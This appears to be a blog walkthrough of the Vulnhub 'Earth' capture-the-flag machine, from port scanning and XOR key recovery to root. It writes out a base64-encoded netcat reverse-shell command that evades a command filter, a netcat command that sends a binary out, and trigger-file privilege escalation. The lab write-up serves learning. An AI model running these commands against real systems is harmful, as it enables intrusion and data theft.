Skip to main content

The planets: Earth

·1257 words·6 mins
Writeup Vulnhub
Me
Author
Me
I try and do things
The Planets - This article is part of a series.
Part 3: This Article

Earth. The final VM (in the planet series)

As is usual: find out what is on offer:

$ nmap 10.10.10.5 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 19:41 BST
Nmap scan report for 10.10.10.5
Host is up (3.4s latency).
Not shown: 911 filtered tcp ports (no-response), 86 filtered tcp ports (host-unreach)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)

A new port appears: https

When I visit the http port all I get is bad request errors. On the https endpoint (https://10.10.10.5) I get the apache test page. Some quick checking for robots.txt and some brief fuzzing of directories shows us some 403 forbidden errors and a cgi-bin path which also leads now where.

Given that the other machines served over http only, I wonder if there’s a clue in the certificate? When viewed we notice there are two domains listed

Two domains, one certificate
Two domains, one certificate

Likely the webserver is configured to serve from those domains only. We can make this happen by adding the names to the local system’s hosts file

$ cat /etc/hosts
# Host addresses
127.0.0.1  localhost
# Others
10.10.10.5  earth.local terratest.earth.local

This will resolve the two domains to 10.10.10.5, the address of the VM in the internals network.

Let’s visit earth.local to find a form to send encrypted messages to Earth. Some have already been sent. If we play around a bit with some values, we can see that the plaintext message is XORed with the key to produce the output. Make a note of that. There’s nothing else here it seems, no robots.txt, so I try the terratest URL.

This just says it’s a test site and to ignore it. Checking for robots.txt however yields a result, specifically

Disallow: /testingnotes.*

I used a file extension wordlist and ran fuff against it, but a guess at txt would have been quicker 🙂. This file contains some useful information

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

First of all the guess that it’s XOR was correct. There’s another file, testdata.txt that was used to test the form with. There’s an admin portal.

Checking out earth.local/admin provides a login form, but we don’t know that password. Perhaps the test data can help us. Knowing the XOR result and the original plaintext, I can get the key by XORing the two together again. Looking at the example messages, there’s only one that fits the length, and it’s also the first, so very likely to be the test message. The XOR is easily done with CyberChef . The input is the hex string from the page, the key is the original plain text, which let’s me set up something like this:

CyberChef recipe to XOR the strings
Tasty looking recipe!

There’s a possibility that the key used to encrypt the text is also the password for the admin page, so why not try it out? Sure enough, we are in

The admin command tool
use with care

If use with care isn’t a big clue pointing to the fact that whatever command you type into the field will be run on the server, then I don’t know what is. Entering ls into the field and hitting Run Command shows us the output. The aim now is to somehow get a shell on this box using that field. First I need to work out what I have to work with on this box, and running ls /bin from the form lists some commands, including nc (netcat) so we could try and connect that way. On the local machine start a netcat listener

$ nc -nlp 9000

but when I try to connect from the webpage I get

remote connections are forbidden
Let me out I say!

Retry that with a domain name however and there’s no denied connection message. Perhaps encoding the command and decoding it will work? One way to find out.

$ echo -n "nc -e /bin/bash 10.10.10.2 9000" | base64
bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjEwLjIgOTAwMA==

Take that string and in the web form

echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjEwLjIgOTAwMA== | base64 -d | sh

back in our other terminal

$ nc -nlp 9000
whoami
apache

Sparkly, we have a shell. What now? Anything that runs as root on this box?

find / -perm -u=s 
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1

That reset_root looks interesting. It’s a binary file, and in this shell there’s not much I can do with it. I need to figure out how to exfil the binary over netcat. Luckily the internet has all the information we need. On the local server run

$ nc -nlvp 9001 -q 1 > reset_root < /dev/null
listening on [any] 9001 ...

and then, doing the “base64 payload and submit in webform” technique again

$ echo "cat /usr/bin/reset_root | nc 10.10.10.2 9001" | base64
Y2F0IC91c3IvYmluL3Jlc2V0X3Jvb3QgfCBuYyAxMC4xMC4xMC4yIDkwMDEK

the binary file has arrived… opening in Ghidra…

the main function disassembled
Them reset flags… what are they?

From a cursory glance, we need to set or provide 3 reset flags in order for this script to reset the root password to Earth. The magic_cipher method processes the strings passed to it in some way, but before starting to understand that better, best to take a look at the behaviour of this binary with ltrace to see if it will reveal anything

$ ltrace  ./reset_root 
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)                                                                                   = 38
access("/dev/shm/kHgTFI5G", 0)                                                                                                = -1
access("/dev/shm/Zw7bV9U5", 0)                                                                                                = -1
access("/tmp/kcM0Wewe", 0)                                                                                                    = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)                                                                                   = 44
+++ exited (status 0) +++

It checks for three files before deciding whether or not to reset root - that’s a lot easier than trying to decode the magic_cipher function. Starting up a new netcat connection, I can create the files, run the binary, and…

$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.5] 36756
touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe 
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
su -l
Earth
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd 
ls
anaconda-ks.cfg
root_flag.txt

I was hoping to learn more about using Ghidra in this post, but turns out the path was easier than expected. BUT I did persevere and managed to get the same info out of Ghidra, albeit with a lot more effort. From the disassembly it looks like the magic_cipher processes two strings and stores the output in the third parameter. Applying some variable renaming

magic_cipher disassembly

it’s clearer that the third argument is the result. It is also the argument that is passed into access function, which is what checks if the file exists.

access call with argument

If we can read the contents of the result, we can also find the filenames that need to exist. Setting a breakpoint just before the access call and stepping into the function in the debugger we can inspect the memory of the argument

I think you’ll agree that the ltrace solution is a lot less effort and much quicker.

The Planets - This article is part of a series.
Part 3: This Article